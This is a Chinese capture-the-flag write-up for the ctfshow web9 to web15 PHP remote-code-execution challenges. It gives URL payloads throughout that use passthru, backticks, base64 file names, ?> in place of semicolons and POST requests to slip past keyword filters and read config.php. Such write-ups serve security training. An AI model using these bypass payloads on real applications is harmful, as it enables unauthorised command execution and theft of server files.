当前位置: 首页 > backend >正文

ctfshow_萌新web9-web15-----rce

_萌新web9

?c=highlight_file("config.php");

_萌新web10

这题要绕过system,exec,highlight

?c=passthru("cat%20config.php");

_萌新web11

这次cat也给过滤掉了

查看文件内容的话可以使用 more命令来代替 cat

?c=passthru('more config.php')

_萌新web12

连‘.’,php,config文件名被过滤了

base64加密绕过

config.php经过加密为Y29uZmlnLnBocA==

构造:

?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru("more $a");

但是我一开始passthru里面用到单引号,没拿到flag

?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru('more $a');这个不对

PHP中的单引号和双引号在很多时候都是互通的,但是也存在区别:

其中的内容不会经过解释(\n不会输出为换行,而是直接输出),即内容会与输入的内容一致,

双引号中的内容将会被解释,即解析内容中的变量。

但是双引号中插入单引号,如果变量存在的话,还是可以执行的;如果所包含的变量需要解析时,要使用到双引号。

法二:反引号绕过

反引号``, 可以执行系统命令, 并返回一个字符串类型的变量, 用来保存命令的执行结果, 需要注意的是, 反引号``中的命令会先被执行并将结果以字符串类型的变量返回, 而后再参与到其他代码的执行, 类似一个函数

?c=echo `ls | grep con*`;

将返回结果作为文件名使用 more命令查看文件内容, 即可获取 flag

?c=passthru('more `ls | grep con*`');也可以成功拿到flag

_萌新web13

对分号;的过滤, 我们可以使用 ?> 代替 分号

?c=passthru('more `ls | grep con*`')?>

_萌新web14

这回连括号也过滤了

?c=echo `tac *`?>

_萌新web15

过滤了?,*,highlight,文件名,没过滤分号

1.由于过滤了左括号(, 函数不能使用, 需要使用反引号``来执行系统命令

2.过滤了 . php config 等关键字, 这就导致查看 config.php 文件会更加困难, 但这些过滤只针对GET请求的参数, 而POST请求并未限制, 我们可以通过POST请求提交系统命令

根据黑名单的不同,获取config.php的内容有以下几种方法:

总结
  1. cat 可以用more,tac
  2. 文件名被绕过 使用反引号`或base64加密绕过
  3. 对分号;的过滤, 我们可以使用 ?> 代替
  4. 过滤了左括号(, 函数不能使用, 需要使用反引号``来执行系统命令
  5. 最后一招,这些过滤只针对GET请求的参数, 而POST请求并未限制, 我们可以通过POST请求提交系统命令
http://www.xdnf.cn/news/17279.html

相关文章:

  • 腾讯前端面试真题
  • svm的一些应用
  • Prometheus 通过读取文件中的配置来监控目标
  • MyBatis流式查询详解
  • 系统构成与 Shell 核心:从零认识操作系统的心脏与外壳
  • 机器学习-Logistic Regression
  • 如何解决pip安装报错ModuleNotFoundError: No module named ‘transformers’问题
  • AJAX与axios框架
  • 【轮速传感器方向判断原理】
  • Flutter开发 SingleChildScrollView、ScrollController
  • 液体泄漏识别误报率↓76%:陌讯多模态融合算法实战解析
  • camera人脸识别问题之二:【FFD】太阳逆光场景,人像模式后置打开美颜和滤镜,关闭heif拍摄格式对着人脸拍照,成像口红出现位置错误
  • 北京安全员C练习题
  • Xiphos Q8 摄像头板 高性能图像处理板
  • 恒科持续低迷:新能源汽车股下跌成拖累,销量担忧加剧
  • C++编程之旅-- -- --类与对象的奇幻征途之初识篇(一)(了解类的基本用法,计算类大小,分析this指针)
  • 快速上手 Ollama:强大的开源语言模型框架
  • GitLab同步提交的用户设置
  • 论文reading学习记录7 - daily - ViP3D
  • 日本站群服务器与普通日本服务器对比
  • Spring AMQP 入门与实践:整合 RabbitMQ 构建可靠消息系统
  • 【接口自动化测试】---requests模块
  • SpringBoot的profile加载
  • 可编辑51页PPT | 某鞋服品牌集团数字化转型项目建议书
  • 微服务如何保证系统高可用?
  • iOS 签名证书全流程详解,申请、管理与上架实战
  • 腾讯iOA:数据安全的港湾
  • 0_外设学习_ESP8266+云流转(no 0基础)
  • 最新的GPT5效果如何,我试了一下(附加GPT5大模型免费使用方法)
  • 力扣-189.轮转数组